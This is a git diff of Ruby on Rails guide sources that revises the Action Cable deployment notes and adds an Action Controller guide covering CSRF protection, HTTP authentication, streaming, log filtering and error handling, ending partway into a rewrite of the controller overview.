-Also note that your server must provide at least the same number of database
-connections as you have workers. The default worker pool size is set to 4, so
-that means you have to make at least that available. You can change that in
-`config/database.yml` through the `pool` attribute.
-
 ## Running Standalone Cable Servers
 
+Action Cable can either run as part of your Rails application, or as
+a standalone server. In development, running as part of your Rails app
+is generally fine, but in production you should run it as a standalone.
+
 ### In App
 
 Action Cable can run alongside your Rails application. For example, to
 listen for WebSocket requests on `/websocket`, specify that path to
-`config.action_cable.mount_path`:
+[`config.action_cable.mount_path`][]:
 
 ```ruby
 # config/application.rb
 class Application < Rails::Application
-  config.action_cable.mount_path = '/websocket'
+  config.action_cable.mount_path = "/websocket"
 end
 ```
 
-You can use `App.cable = ActionCable.createConsumer()` to connect to the cable
-server if `action_cable_meta_tag` is invoked in the layout. A custom path is
-specified as first argument to `createConsumer` (e.g. `App.cable =
-ActionCable.createConsumer("/websocket")`).
+You can use `ActionCable.createConsumer()` to connect to the cable
+server if [`action_cable_meta_tag`][] is invoked in the layout. Otherwise, a path is
+specified as first argument to `createConsumer` (e.g. `ActionCable.createConsumer("/websocket")`).
+
+For every instance of your server you create, and for every worker your server
+spawns, you will also have a new instance of Action Cable, but the Redis or
+PostgreSQL adapter keeps messages synced across connections.
 
-For every instance of your server you create and for every worker your server
-spawns, you will also have a new instance of Action Cable, but the use of Redis
-keeps messages synced across connections.
+[`config.action_cable.mount_path`]: configuring.html#config-action-cable-mount-path
+[`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag
 
 ### Standalone
 
@@ -645,32 +895,42 @@ basic setup is as follows:
 
 ```ruby
 # cable/config.ru
-require_relative '../config/environment'
+require_relative "../config/environment"
 Rails.application.eager_load!
 
 run ActionCable.server
 ```
 
-Then you start the server using a binstub in `bin/cable` ala:
+Then to start the server:
 
+```bash
+$ bundle exec puma -p 28080 cable/config.ru
 ```
-#!/bin/bash
-bundle exec puma -p 28080 cable/config.ru
+
+This starts a cable server on port 28080. To tell Rails to use this
+server, update your config:
+
+```ruby
+# config/environments/development.rb
+Rails.application.configure do
+  config.action_cable.mount_path = nil
+  config.action_cable.url = "ws://localhost:28080" # use wss:// in production
+end
 ```
 
-The above will start a cable server on port 28080.
+Finally, ensure you have [configured the consumer correctly](#consumer-configuration).
 
 ### Notes
 
 The WebSocket server doesn't have access to the session, but it has
 access to the cookies. This can be used when you need to handle
-authentication. You can see one way of doing that with Devise in this [article](http://www.rubytutorial.io/actioncable-devise-authentication).
+authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/actioncable-devise-authentication/).
 
 ## Dependencies
 
 Action Cable provides a subscription adapter interface to process its
-pubsub internals. By default, asynchronous, inline, PostgreSQL, evented
-Redis, and non-evented Redis adapters are included. The default adapter
+pubsub internals. By default, asynchronous, inline, PostgreSQL, and Redis
+adapters are included. The default adapter
 in new Rails applications is the asynchronous (`async`) adapter.
 
 The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby),
@@ -680,12 +940,17 @@ The Ruby side of things is built on top of [websocket-driver](https://github.com
 
 Action Cable is powered by a combination of WebSockets and threads. Both the
 framework plumbing and user-specified channel work are handled internally by
-utilizing Ruby's native thread support. This means you can use all your regular
+utilizing Ruby's native thread support. This means you can use all your existing
 Rails models with no problem, as long as you haven't committed any thread-safety sins.
 
 The Action Cable server implements the Rack socket hijacking API,
-thereby allowing the use of a multithreaded pattern for managing connections
+thereby allowing the use of a multi-threaded pattern for managing connections
 internally, irrespective of whether the application server is multi-threaded or not.
 
 Accordingly, Action Cable works with popular servers like Unicorn, Puma, and
 Passenger.
+
+## Testing
+
+You can find detailed instructions on how to test your Action Cable functionality in the
+[testing guide](testing.html#testing-action-cable).
diff --git a/guides/source/action_controller_advanced_topics.md b/guides/source/action_controller_advanced_topics.md
new file mode 100644
index 0000000000000..e11a397b31279
--- /dev/null
+++ b/guides/source/action_controller_advanced_topics.md
@@ -0,0 +1,660 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Action Controller Advanced Topics
+=================================
+
+In this guide, you will learn about some advanced topics related to controllers. After reading this guide, you will know how to:
+
+* Protect against cross-site request forgery.
+* Use Action Controller's built-in HTTP authentication.
+* Stream data directly to the user's browser.
+* Filter sensitive parameters from the application logs.
+* Handle exceptions that may be raised during request processing.
+* Use the built-in health check endpoint for load balancers and uptime monitors.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+This guide covers a number of advanced topics related to controllers in a Rails
+application. Please see the [Action Controller
+Overview](action_controller_overview.html) guide for an introduction to Action
+Controllers.
+
+Authenticity Token and Request Forgery Protection
+-------------------------------------------------
+
+Cross-site request forgery
+([CSRF](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token))
+is a type of malicious attack where unauthorized requests are submitted by
+impersonating a user that the web application trusts.
+
+The first step to avoid this type of attack is to ensure that all "destructive"
+actions (create, update, and destroy) in your application use non-GET requests (like POST, PUT and DELETE).
+
+However, a malicious site can still send a non-GET request to your site, so
+Rails builds in request forgery protection into controllers by default.
+
+This is done by adding a token using the
+[protect_from_forgery](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-protect_from_forgery)
+method. This token is added to each request and is only known to your server.
+Rails verifies the received token with the token in the session. If an incoming
+request does not have the proper matching token, the server will deny access.
+
+The CSRF token is added automatically when `config.action_controller.default_protect_from_forgery` is set to `true`, which is the default for newly created Rails applications. It can also be manually like this:
+
+```ruby
+class ApplicationController < ActionController::Base
+  protect_from_forgery with: :exception
+end
+```
+
+NOTE: All subclasses of `ActionController::Base` are protected by default and
+will raise an `ActionController::InvalidCrossOriginRequest` error on unverified
+requests.
+
+### Authenticity Token in Forms
+
+When you generate a form using `form_with` like this:
+
+```erb
+<%= form_with model: @user do |form| %>
+  <%= form.text_field :username %>
+  <%= form.text_field :password %>
+<% end %>
+```
+
+A CSRF token named `authenticity_token` is automatically added as a hidden field
+in the generated HTML:
+
+```html
+<form accept-charset="UTF-8" action="/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+```
+
+Rails adds this token to every `form` that's generated using the [form
+helpers](form_helpers.html), so most of the time you don't need to do anything.
+If you're writing a form manually or need to add the token for another reason,
+it's available through the
+[`form_authenticity_token`](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)
+method.
+
+```html
+<!-- app/views/layouts/application.html.erb -->
+<head>
+  <meta name="csrf-token" content="<%= form_authenticity_token %>">
+</head>
+```
+
+The `form_authenticity_token` method generates a valid authentication token.
+That can be useful in places where Rails does not add it automatically, like in
+custom Ajax calls.
+
+You can learn more details about the CSRF attack as well as CSRF countermeasures
+in the [Security Guide](security.html#cross-site-request-forgery-csrf).
+
+Controlling Allowed Browser Versions
+------------------------------------
+
+Starting with version 7.2, Rails controllers use [`allow_browser`](https://api.rubyonrails.org/classes/ActionController/AllowBrowser/ClassMethods.html#method-i-allow_browser) method in `ApplicationController` to allow only modern browsers by default.
+
+```ruby
+class ApplicationController < ActionController::Base
+  # Only allow modern browsers supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has.
+  allow_browser versions: :modern
+end
+```
+
+TIP: Modern browsers includes Safari 17.2+, Chrome 120+, Firefox 121+, Opera 106+. You can use [caniuse.com](https://caniuse.com/) to check for browser versions supporting the features you'd like to use.
+
+In addition to the default of `:modern`, you can also specify the browser versions manually:
+
+```ruby
+class ApplicationController < ActionController::Base
+  # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
+  allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
+end
+```
+
+Browsers matched in the hash passed to `versions:` will be blocked if they’re below the versions specified. This means that all other browsers not mentioned in `versions:` (Chrome and Opera in the above example), as well as agents that aren’t reporting a user-agent header, _will be_ allowed access.
+
+You can also use `allow_browser` in a given controller and specify actions using `only` or `except`. For example:
+
+```ruby
+class MessagesController < ApplicationController
+  # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
+  allow_browser versions: { opera: 104, chrome: 119 }, only: :show
+end
+```
+
+A browser that’s blocked will, by default, be served the file in `public/406-unsupported-browser.html` with an HTTP status code of “406 Not Acceptable�.
+
+HTTP Authentication
+-------------------
+
+Rails comes with three built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+* Token Authentication
+
+### HTTP Basic Authentication
+
+HTTP Basic Authentication is a simple authentication method where a user is
+required to enter a username and password to access a website or a particular
+section of a website (e.g. admin section). These credentials are entered into a
+browser's HTTP basic dialog window. The user’s credentials are then encoded and
+sent in the HTTP header with each request.
+
+HTTP basic authentication is an authentication scheme that is supported by most
+browsers. Using HTTP Basic authentication in a Rails controller can be done by
+using the [`http_basic_authenticate_with`][] method:
+
+```ruby
+class AdminsController < ApplicationController
+  http_basic_authenticate_with name: "Arthur", password: "42424242"
+end
+```
+
+With the above in place, you can create controllers that inherit from
+`AdminsController`. All actions in those controllers will use HTTP basic
+authentication and require user credentials.
+
+WARNING: HTTP Basic Authentication is easy to implement but not secure on its
+own, as it will send unencrypted credentials over the network. Make sure to use
+HTTPS when using Basic Authentication. You can also [force
+HTTPS](#force-https-protocol).
+
+[`http_basic_authenticate_with`]:
+    https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html#method-i-http_basic_authenticate_with
+
+### HTTP Digest Authentication
+
+HTTP digest authentication is more secure than basic authentication as it does
+not require the client to send an unencrypted password over the network. The
+credentials are hashed instead and a
+[Digest](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest.html)
+is sent.
+
+Using digest authentication with Rails can be done by using
+the [`authenticate_or_request_with_http_digest`][] method:
+
+```ruby
+class AdminsController < ApplicationController
+  USERS = { "admin" => "helloworld" }
+
+  before_action :authenticate
+
+  private
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
+    end
+end
+```
+
+The `authenticate_or_request_with_http_digest` block takes only one argument -
+the username. The block returns the password if found. If the return value is
+`false` or `nil`, it is considered an authentication failure.
+
+[`authenticate_or_request_with_http_digest`]:
+    https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html#method-i-authenticate_or_request_with_http_digest
+
+### HTTP Token Authentication
+
+Token authentication (aka "Bearer" authentication) is an authentication method
+where a client receives a unique token after successfully logging in, which it
+then includes in the `Authorization` header of future requests. Instead of
+sending credentials with each request, the client sends this
+[token](https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token.html)
+(a string that represents the user's session) as a "bearer" of the
+authentication.
+
+This approach improves security by separating credentials from the ongoing
+session. You use an authentication token that has been issued in advance to
+perform authentication.
+
+Implementing token authentication with Rails can be done using the
+[`authenticate_or_request_with_http_token`][] method.
+
+```ruby
+class PostsController < ApplicationController
+  TOKEN = "secret"
+
+  before_action :authenticate
+
+  private
+    def authenticate
+      authenticate_or_request_with_http_token do |token, options|
+        ActiveSupport::SecurityUtils.secure_compare(token, TOKEN)
+      end
+    end
+end
+```
+
+The `authenticate_or_request_with_http_token` block takes two arguments - the
+token and a hash containing the options that were parsed from the HTTP
+`Authorization` header. The block should return `true` if the authentication is
+successful. Returning `false` or `nil` will cause an authentication failure.
+
+[`authenticate_or_request_with_http_token`]:
+    https://api.rubyonrails.org/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html#method-i-authenticate_or_request_with_http_token
+
+Streaming and File Downloads
+----------------------------
+
+Rails controllers provide a way to send a file to the user instead of rendering
+an HTML page. This can be done with the [`send_data`][] and the [`send_file`][]
+methods, which stream data to the client. The `send_file` method is a
+convenience method that lets you provide the name of a file, and it will stream
+the contents of that file.
+
+Here is an example of how to use `send_data`:
+
+```ruby
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              filename: "#{client.name}.pdf",
+              type: "application/pdf"
+  end
+
+  private
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
+end
+```
+
+The `download_pdf` action in the above example calls a private method which
+generates the PDF document and returns it as a string. This string will then be
+streamed to the client as a file download.
+
+Sometimes when streaming files to the user, you may not want them to download
+the file. Take images, for example, which can be embedded into HTML pages. To
+tell the browser a file is not meant to be downloaded, you can set the
+`:disposition` option to "inline". The default value for this option is
+"attachment".
+
+[`send_data`]:
+    https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_data
+[`send_file`]:
+    https://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file
+
+### Sending Files
+
+If you want to send a file that already exists on disk, use the `send_file`
+method.
+
+```ruby
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              filename: "#{client.name}.pdf",
+              type: "application/pdf")
+  end
+end
+```
+
+The file will be read and streamed at 4 kB at a time by default, to avoid loading
+the entire file into memory at once. You can turn off streaming with the
+`:stream` option or adjust the block size with the `:buffer_size` option.
+
+If `:type` is not specified, it will be guessed from the file extension
+specified in `:filename`. If the content-type is not registered for the
+extension, `application/octet-stream` will be used.
+
+WARNING: Be careful when using data coming from the client (params, cookies,
+etc.) to locate the file on disk. This is a security risk as it might allow
+someone to gain access to sensitive files.
+
+TIP: It is not recommended that you stream static files through Rails if you can
+instead keep them in a public folder on your web server. It is much more
+efficient to let the user download the file directly using Apache or another web
+server, keeping the request from unnecessarily going through the whole Rails
+stack.
+
+### RESTful Downloads
+
+While `send_data` works fine, if you are creating a RESTful application having
+separate actions for file downloads is usually not necessary. In REST
+terminology, the PDF file from the example above can be considered just another
+representation of the client resource. Rails provides a slick way of doing
+"RESTful" downloads. Here's how you can rewrite the example so that the PDF
+download is a part of the `show` action, without any streaming:
+
+```ruby
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render pdf: generate_pdf(@client) }
+    end
+  end
+end
+```
+
+Now the user can request to get a PDF version of a client just by adding ".pdf"
+to the URL:
+
+```
+GET /clients/1.pdf
+```
+
+You can call any method on `format` that is an extension registered as a MIME
+type by Rails. Rails already registers common MIME types like `"text/html"` and
+`"application/pdf"`:
+
+```ruby
+Mime::Type.lookup_by_extension(:pdf)
+# => "application/pdf"
+```
+
+If you need additional MIME types, call
+[`Mime::Type.register`](https://api.rubyonrails.org/classes/Mime/Type.html#method-c-register)
+in the file `config/initializers/mime_types.rb`. For example, this is how you
+would register the Rich Text Format (RTF):
+
+```ruby
+Mime::Type.register("application/rtf", :rtf)
+```
+
+NOTE: If you modify an initializer file, you have to restart the server for
+their changes to take effect.
+
+### Live Streaming of Arbitrary Data
+
+Rails allows you to stream more than just files. In fact, you can stream
+anything you would like in a response object. The
+[`ActionController::Live`](https://api.rubyonrails.org/classes/ActionController/Live.html)
+module allows you to create a persistent connection with a browser. By including
+this module in your controller, you can send arbitrary data to the browser at
+specific points in time.
+
+```ruby
+class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers["Content-Type"] = "text/event-stream"
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+```
+
+The above example will keep a persistent connection with the browser and send
+100 messages of `"hello world\n"`, each one second apart.
+
+Note that you have to make sure to close the response stream, otherwise the
+stream will leave the socket open indefinitely. You also have to set the content
+type to `text/event-stream` *before* calling `write` on the response stream.
+Headers cannot be written after the response has been committed (when
+`response.committed?` returns a truthy value) with either `write` or `commit`.
+
+#### Example Use Case
+
+Let's suppose that you were making a karaoke machine, and a user wants to get
+the lyrics for a particular song. Each `Song` has a particular number of lines
+and each line takes time `num_beats` to finish singing.
+
+If we wanted to return the lyrics in karaoke fashion (only sending the line when
+the singer has finished the previous line), then we could use
+`ActionController::Live` as follows:
+
+```ruby
+class LyricsController < ActionController::Base
+  include ActionController::Live
+
+  def show
+    response.headers["Content-Type"] = "text/event-stream"
+    response.headers["Cache-Control"] = "no-cache"
+
+    song = Song.find(params[:id])
+
+    song.each do |line|
+      response.stream.write line.lyrics
+      sleep line.num_beats
+    end
+  ensure
+    response.stream.close
+  end
+end
+```
+
+#### Streaming Considerations
+
+Streaming arbitrary data is an extremely powerful tool. As shown in the previous
+examples, you can choose when and what to send across a response stream.
+However, you should also note the following things:
+
+* Each response stream creates a new thread and copies over the thread local
+  variables from the original thread. Having too many thread local variables can
+  negatively impact performance. Similarly, a large number of threads can also
+  hinder performance.
+* Failing to close the response stream will leave the corresponding socket open
+  forever. Make sure to call `close` whenever you are using a response stream.
+* WEBrick servers buffer all responses, and so streaming with
+  `ActionController::Live` will not work. You must use a web server which does
+  not automatically buffer responses.
+
+Log Filtering
+-------------
+
+Rails keeps a log file for each environment in the `log` folder at the
+application's root directory. Log files are extremely useful when debugging your
+application, but in a production environment you may not want every bit of
+information stored in log files. Rails allows you to specify parameters that
+should not be stored.
+
+### Parameters Filtering
+
+You can filter out sensitive request parameters from your log files by appending
+them to [`config.filter_parameters`][] in the application configuration.
+
+```ruby
+config.filter_parameters << :password
+```
+
+These parameters will be marked `[FILTERED]` in the log.
+
+The parameters specified in `filter_parameters` will be filtered out with
+partial matching regular expression. So for example, `:passw` will filter out
+`password`, `password_confirmation`, etc.
+
+Rails adds a list of default filters, including `:passw`, `:secret`, and
+`:token`, in the appropriate initializer
+(`initializers/filter_parameter_logging.rb`) to handle typical application
+parameters like `password`, `password_confirmation` and `my_token`.
+
+[`config.filter_parameters`]: configuring.html#config-filter-parameters
+
+### Redirects Filtering
+
+Sometimes it's desirable to filter out sensitive locations that your application
+is redirecting to. You can do that by using the `config.filter_redirect`
+configuration option:
+
+```ruby
+config.filter_redirect << "s3.amazonaws.com"
+```
+
+You can set it to a String, a Regexp, or an Array of both.
+
+```ruby
+config.filter_redirect.concat ["s3.amazonaws.com", /private_path/]
+```
+
+Matching URLs will be replaced with `[FILTERED]`. However, if you only wish to
+filter the parameters, not the whole URLs, you can use parameter filtering.
+
+Force HTTPS Protocol
+--------------------
+
+If you'd like to ensure that communication to your controller is only possible
+via HTTPS, you can do so by enabling the [`ActionDispatch::SSL`][] middleware
+via [`config.force_ssl`][] in your environment configuration.
+
+[`config.force_ssl`]: configuring.html#config-force-ssl
+[`ActionDispatch::SSL`]:
+    https://api.rubyonrails.org/classes/ActionDispatch/SSL.html
+
+Built-in Health Check Endpoint
+------------------------------
+
+Rails comes with a built-in health check endpoint that is reachable at the `/up`
+path. This endpoint will return a 200 status code if the app has booted with no
+exceptions, and a 500 status code otherwise.
+
+In production, many applications are required to report their status, whether
+it's to an uptime monitor that will page an engineer when things go wrong, or a
+load balancer or Kubernetes controller used to determine the health of a given
+instance. This health check is designed to be a one-size fits all that will work
+in many situations.
+
+While any newly generated Rails applications will have the health check at
+`/up`, you can configure the path to be anything you'd like in your
+"config/routes.rb":
+
+```ruby
+Rails.application.routes.draw do
+  get "health" => "rails/health#show", as: :rails_health_check
+end
+```
+
+The health check will now be accessible via `GET` or `HEAD` requests to the
+`/health` path.
+
+NOTE: This endpoint does not reflect the status of all of your application's
+dependencies, such as the database or redis. Replace "rails/health#show" with
+your own controller action if you have application specific needs.
+
+Reporting the health of an application requires some considerations. You'll have
+to decide what you want to include in the check. For example, if a third-party
+service is down and your application reports that it's down due to the
+dependency, your application may be restarted unnecessarily. Ideally, your
+application should handle third-party outages gracefully.
+
+Handling Errors
+----------------
+
+Your application will likely contain bugs and throw exceptions that needs to be
+handled. For example, if the user follows a link to a resource that no longer
+exists in the database, Active Record will throw the
+`ActiveRecord::RecordNotFound` exception.
+
+Rails default exception handling displays a "500 Server Error" message for all
+exceptions. If the request was made in development, a nice backtrace and
+additional information is displayed, to help you figure out what went wrong. If
+the request was made in production, Rails will display a simple "500 Server
+Error" message, or a "404 Not Found" if there was a routing error, or a record
+could not be found.
+
+You can customize how these errors are caught and how they're displayed to the
+user. There are several levels of exception handling available in a Rails
+application. You can use `config.action_dispatch.show_exceptions` configuration
+to control how Rails handles exceptions raised while responding to requests. You
+can learn more about the levels of exceptions in the
+[configuration](configuring.html#config-action-dispatch-show-exceptions) guide.
+
+### The Default Error Templates
+
+By default, in the production environment the application will render an error
+page. These pages are contained in static HTML files in the public folder, in
+`404.html`, `500.html`, etc. You can customize these files to add some extra
+information and styles.
+
+NOTE: The error templates are static HTML files so you can't use ERB, SCSS, or
+layouts for them.
+
+### `rescue_from`
+
+You can catch specific errors and do something different with them by using the
+[`rescue_from`][] method. It can handle exceptions of a certain type (or
+multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a `rescue_from` directive, the
+exception object is passed to the handler.
+
+Below is an example of how you can use `rescue_from` to intercept all
+`ActiveRecord::RecordNotFound` errors and do something with them:
+
+```ruby
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+  private
+    def record_not_found
+      render plain: "Record Not Found", status: 404
+    end
+end
+```
+
+The handler can be a method or a `Proc` object passed to the `:with` option. You
+can also use a block directly instead of an explicit `Proc` object.
+
+The above example doesn't improve on the default exception handling at all, but
+it serves to show how once you catch specific exceptions, you're free to do
+whatever you want with them. For example, you could create custom exception
+classes that will be thrown when a user doesn't have access to a certain section
+of your application:
+
+```ruby
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :user_not_authorized
+
+  private
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_back(fallback_location: root_path)
+    end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_action :check_authorization
+
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+    # If the user is not authorized, throw the custom exception.
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
+end
+```
+
+WARNING: Using `rescue_from` with `Exception` or `StandardError` would cause
+serious side-effects as it prevents Rails from handling exceptions properly. As
+such, it is not recommended to do so unless there is a strong reason.
+
+NOTE: Certain exceptions are only rescuable from the `ApplicationController`
+class, as they are raised before the controller gets initialized, and the action
+gets executed.
+
+[`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from
diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md
index 40eb838d328ae..fc536892145af 100644
--- a/guides/source/action_controller_overview.md
+++ b/guides/source/action_controller_overview.md
@@ -1,48 +1,47 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Action Controller Overview
 ==========================
 
-In this guide you will learn how controllers work and how they fit into the request cycle in your application.
+In this guide, you will learn how controllers work and how they fit into the request cycle in your application.
 
-After reading this guide, you will know:
+After reading this guide, you will know how to:
 
-* How to follow the flow of a request through a controller.
-* How to restrict parameters passed to your controller.
-* How and why to store data in the session or cookies.
-* How to work with filters to execute code during request processing.
-* How to use Action Controller's built-in HTTP authentication.
-* How to stream data directly to the user's browser.
-* How to filter sensitive parameters so they do not appear in the application's log.
-* How to deal with exceptions that may be raised during request processing.
+* Follow the flow of a request through a controller.
+* Access parameters passed to your controller.
+* Use Strong Parameters and permit values.
+* Store data in the cookie, the session, and the flash.
+* Work with action callbacks to execute code during request processing.
+* Use the Request and Response Objects.
 
 --------------------------------------------------------------------------------
 
-What Does a Controller Do?
---------------------------
+Introduction
+------------
 
-Action Controller is the C in MVC. After the router has determined which controller to use for a request, the controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+Action Controller is the C in the Model View Controller
+([MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller))
+pattern. After the [router](routing.html) has matched a controller to an
+incoming request, the controller is responsible for processing the request and
+generating the appropriate output.
 
-For most conventional [RESTful](http://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+For most conventional
+[RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer)
+applications, the controller will receive the request, fetch or save data from a
+model, and use a view to create HTML output.
 
-A controller can thus be thought of as a middleman between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates user data to the model.
+You can imagine that a controller sits between models and views. The controller
+makes model data available to the view, so that the view can display that data
+to the user. The controller also receives user input from the view and saves or
+updates model data accordingly.
 
-NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html).
+Creating a Controller
+---------------------
 
-Controller Naming Convention
-----------------------------
-
-The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on.
-
-Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and will keep URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details.
-
-NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.
-
-
-Methods and Actions
--------------------
-
-A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+A controller is a Ruby class which inherits from `ApplicationController` and has
+methods just like any other class. Once an incoming request is matched to a
+controller by the router, Rails creates an instance of that controller class and
+calls the method with the same name as the action.
 
 ```ruby
 class ClientsController < ApplicationController
@@ -51,7 +50,16 @@ class ClientsController < ApplicationController
 end
 ```
 
-As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and call its `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. The `new` method could make available to the view a `@client` instance variable by creating a new `Client`:
+Given the above `ClientsController`, if a user goes to `/clients/new` in your
+application to add a new client, Rails will create an instance of
+`ClientsController` and call its `new` method. If the `new` method is empty, Rails
+will automatically render the `new.html.erb` view by default.
+
+NOTE: The `new` method is an instance method here, called on an instance of `ClientsController`. This should not be confused with the `new` class method (i.e., `ClientsController.new`).
+
+In the `new` method, the controller would typically create an instance of the
+`Client` model, and make it available as an instance variable called `@client`
+in the view:
 
 ```ruby
 def new
@@ -59,24 +67,64 @@ def new
 end
 ```
 
-The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail.
+NOTE: All controllers inherit from `ApplicationController`, which in turn
+inherits from
+[`ActionController::Base`](https://api.rubyonrails.org/classes/ActionController/Base.html).
+For [API only](https://guides.rubyonrails.org/api_app.html) applications `ApplicationController` inherits from
+[`ActionController::API`](https://edgeapi.rubyonrails.org/classes/ActionController/API.html).
+
+### Controller Naming Convention
+
+Rails favors making the resource in the controller's name plural. For example,
+`ClientsController` is preferred over `ClientController` and
+`SiteAdminsController` over `SiteAdminController` or `SitesAdminsController`.
+However, the plural names are not strictly required (e.g.
+`ApplicationController`).
+
+Following this naming convention will allow you to use the [default route
+generators](routing.html#crud-verbs-and-actions) (e.g. `resources`) without
+needing to qualify each with options such as
+[`:controller`](routing.html#specifying-a-controller-to-use). The convention
+also makes named route helpers consistent throughout your application.
+
+The controller naming convention is different from models. While plural names
+are preferred for controller names, the singular form is preferred for [model
+names](active_record_basics.html#naming-conventions) (e.g. `Account` vs.
+`Accounts`).
+
+Controller actions should be `public`, as only `public` methods are callable as
+actions. It is also best practice to lower the visibility of helper methods
+(with `private` or `protected`) which are _not_ intended to be actions.
 
-`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
+WARNING: Some method names are reserved by Action Controller. Accidentally
+redefining them could result in `SystemStackError`. If you limit your
+controllers to only RESTful [Resource Routing][] actions you should not need to
+worry about this.
 
-Only public methods are callable as actions. It is a best practice to lower the visibility of methods (with `private` or `protected`) which are not intended to be actions, like auxiliary methods or filters.
+NOTE: If you must use a reserved method as an action name, one workaround is to
+use a custom route to map the reserved method name to your non-reserved action
+method.
+
+[Resource Routing]: routing.html#resource-routing-the-rails-default
 
 Parameters
 ----------
 
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller:
+Data sent by the incoming request is available in your controller in the
+[`params`][] hash. There are two types of parameter data:
+
+- Query string parameters which are sent as part of the URL (for example, after
+  the `?` in `http://example.com/accounts?filter=free`).
+- POST parameters which are submitted from an HTML form.
+
+Rails does not make a distinction between query string parameters and POST
+parameters; both are available in the `params` hash in your controller. For
+example:
 
 ```ruby
 class ClientsController < ApplicationController
-  # This action uses query string parameters because it gets run
-  # by an HTTP GET request, but this does not make any difference
-  # to the way in which the parameters are accessed. The URL for
-  # this action would look like this in order to list activated
-  # clients: /clients?status=activated
